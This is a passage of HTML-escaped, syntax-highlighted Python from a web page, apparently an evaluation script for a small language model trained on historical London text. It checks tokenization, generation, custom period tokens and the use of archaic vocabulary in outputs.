&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;  &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;test_name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;status&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; results
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;test_basic_functionality&lt;/span&gt;(model, tokenizer):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Test basic model functionality&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test model loading&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;model_loading&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;is&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;is&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test tokenizer functionality&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    test_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, London was&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokens &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(test_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    decoded &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(tokens)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;tokenizer_encode_decode&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; test_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; decoded
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test model generation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(test_text, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(inputs, max_new_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;, do_sample&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(outputs[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;], skip_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;model_generation&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(generated) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(test_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;model_generation&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test special tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    special_tokens &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|london|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|thou|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|hath|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|doth|&amp;gt;&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    special_token_tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; token &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; special_tokens:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; token &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get_vocab():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            special_token_tests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            special_token_tests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;special_tokens&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;any&lt;/span&gt;(special_token_tests)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tests
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;test_historical_accuracy&lt;/span&gt;(model, tokenizer):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Test historical accuracy of generated text&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test prompts for different historical periods&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    period_prompts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1500-1600&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1550, the gentleman said&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1600-1700&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1650, the gentleman said&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1700-1800&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1750, the gentleman said&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1800-1850&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, the gentleman said&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; period, prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; period_prompts&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_historical_text(model, tokenizer, prompt, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;30&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for period-appropriate language&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            period_terms &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1500-1600&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;ye&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;hath&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;doth&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;thou&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;thee&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1600-1700&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;hath&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;doth&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;thou&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;thee&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;verily&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1700-1800&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;hath&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;doth&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;thou&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;thee&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;indeed&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1800-1850&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;indeed&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;verily&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;whilst&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pray&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            found_terms &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;sum&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; term &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; period_terms[period] &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; term &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; generated&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            tests[&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;period_&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;period&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; found_terms &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            tests[&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;period_&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;period&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test London-specific knowledge&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    london_prompts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The Thames flowed through&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Westminster Hall was&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The Tower of London&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Cheapside was filled with&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    london_tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; london_prompts:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_historical_text(model, tokenizer, prompt, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            london_tests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(&lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(generated) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(prompt))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            london_tests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;london_knowledge&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;any&lt;/span&gt;(london_tests)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tests
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;test_linguistic_quality&lt;/span&gt;(model, tokenizer):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Test linguistic quality of generated text&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test prompts for linguistic quality&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_prompts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The gentleman walked through the garden&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the morning, the sun rose&amp;#34;&lt;/span&gt;,
